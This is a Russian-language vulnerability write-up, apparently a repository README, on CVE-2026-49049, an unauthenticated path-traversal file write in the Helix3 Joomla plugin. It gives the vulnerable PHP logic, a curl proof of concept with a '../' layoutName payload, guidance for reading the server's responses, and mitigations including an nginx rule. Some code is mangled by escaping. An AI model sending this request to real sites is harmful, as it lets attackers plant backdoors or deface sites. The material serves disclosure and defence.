## https://sploitus.com/exploit?id=310069DC-9213-5A3C-B1BA-00EFDC37940C
# Исследование уязвимости CVE-2026-49049: Unauthenticated Arbitrary File Write в JoomShaper Helix3 (Joomla)
Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости **CVE-2026-49049**, обнаруженной в устаревшем фреймворке шаблонов **Helix3 от JoomShaper** для CMS Joomla (версии от 1.0 до 3.1.0 включительно).
Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании **AntonKill**).
---
## 🔬 Технический анализ уязвимости
Проблема кроется в системном AJAX-обработчике Joomla (`com_ajax`), который вызывает метод `onAjaxHelix3()` в плагине `plg_ajax_helix3`. Разработчики компонента не предусмотрели:
1. Проверку авторизации пользователя (Authentication Bypass).
2. Проверку CSRF-токенов.
3. Фильтрацию путей (Path Traversal Validation) при обработке параметра `layoutName`.
### Логика уязвимого PHP-кода:
```php
public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
```
---
## 🛠 Proof of Concept (PoC)
Для верификации уязвимости используется POST-запрос с типом контента `application/x-www-form-urlencoded`. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.
### Вектор атаки (cURL-команда):
```bash
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
```
### Подробный разбор передаваемых данных:
| Параметр | Значение / Пример | Что означает для сервера |
| :--- | :--- | :--- |
| **`option`** | `com_ajax` | Точка входа в Joomla для обработки AJAX-запросов. |
| **`plugin`** | `helix3` | Системный идентификатор, заставляющий Joomla передать управление уязвимому плагину Helix3. |
| **`format`** | `json` | Указывает движку вернуть ответ в формате JSON. |
| **`-d`** | `data[...]` | Тело запроса (Form Data), автоматически интерпретируемое PHP в глобальный массив `$_POST`. |
| **`data[action]`** | `save` | Переключатель `switch` в коде. Инструктирует плагин вызвать функцию **записи (создания) файла**. |
| **`data[layoutName]`** | `../../../../../../../example` | **Ключевой вектор атаки (Path Traversal)**. Символы `../` заставляют операционную систему выйти из изолированной папки плагина в корневую директорию сайта. Расширение `.json` плагин подставит автоматически. |
| **`data[content]`** | `{"probe":"test"}` | Полезная нагрузка (Payload). Текстовые данные, которые физически запишутся внутрь создаваемого файла `example.json`. В реальных атаках сюда внедряется вредоносный код дефейса или бэкдоры. |
---
## 🎯 Анализ ответов сервера (Фирмы валидации)
При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:
### Вариант А: Уязвимость успешно отработала (Файл записан)
**Ответ сервера:**
```json
{"success":true,"message":null,"messages":null,"data":[]}
```
*Интерпретация:* Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу `https://target.com`. Сайт требует немедленной очистки и изоляции.
### Вариант Б: Плагин уязвим, но сработала защита операционной системы
**Ответ сервера:**
```json
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
```
*Интерпретация:* **Частичный успех.** Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (`fopen`). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, `www-data`) **нет прав на запись в корень сайта**.
### Вариант В: Система защищена (Обновлена или удалена)
**Ответ сервера:** Статус `404 Not Found`, `403 Forbidden` или пустой ответ `[]`.
*Интерпретация:* Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.
---
## 🛡 Митигация и устранение угрозы
1. **Обновление / Удаление:** Обновите Helix3 до версии **3.1.1** или выше. Если фреймворк не используется, полностью удалите плагин `plg_ajax_helix3` через панель администратора Joomla.
2. **Защита на уровне WAF (Nginx):** Добавьте правило для блокировки вредоносных POST-запросов:
```nginx
if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
```
---
*Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации.*